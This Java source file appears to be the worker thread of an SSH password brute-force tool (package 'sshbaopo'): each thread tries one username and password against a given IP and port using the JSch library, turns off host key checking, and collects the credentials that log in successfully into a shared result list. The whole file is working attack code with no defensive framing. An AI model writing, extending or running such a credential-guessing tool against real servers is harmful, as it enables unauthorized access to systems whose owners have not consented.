package com.xmf.sshbaopo;

import com.jcraft.jsch.JSch;
import com.jcraft.jsch.JSchException;
import com.jcraft.jsch.Session;

import java.util.Properties;

public class LoginThread implements Runnable {

    String ip;
    int port;
    String username;
    String password;

    public LoginThread(String ip, int port, String username, String password) {
        this.ip = ip;
        this.port = port;
        this.username = username;
        this.password = password;
    }

    @Override
    public void run() {

        JSch jSch = new JSch();
        Session jSchSession = null;
        boolean reulst = false;

        try {

            // 根据主机账号、ip、端口获取一个Session对象
            jSchSession = jSch.getSession(username, ip, port);

            // 存放主机密码
            jSchSession.setPassword(password);

            Properties config = new Properties();

            // 去掉首次连接确认
            config.put("StrictHostKeyChecking", "no");

            jSchSession.setConfig(config);

            // 超时连接时间为3秒
            jSchSession.setTimeout(3000);

            // 进行连接
            jSchSession.connect();

            // 获取连接结果
            reulst = jSchSession.isConnected();


            if (reulst) {
                String successInfo = "login success:" + ip + "\t" + port + "\t" + username + "\t" + password;
                System.out.println(successInfo);
                SshBaopo.resultList.add(successInfo);
            }

        } catch (JSchException e) {
            if (e.getMessage().contains("Auth fail")) {
                System.out.println("Auth fail:" + ip + "\t" + port + "\t" + username + "\t" + password);
            } else {
                System.out.println(e.getMessage());
            }

        } finally {
            // 关闭jschSesson流
            if (jSchSession != null && jSchSession.isConnected()) {
                jSchSession.disconnect();
            }
        }
    }
}
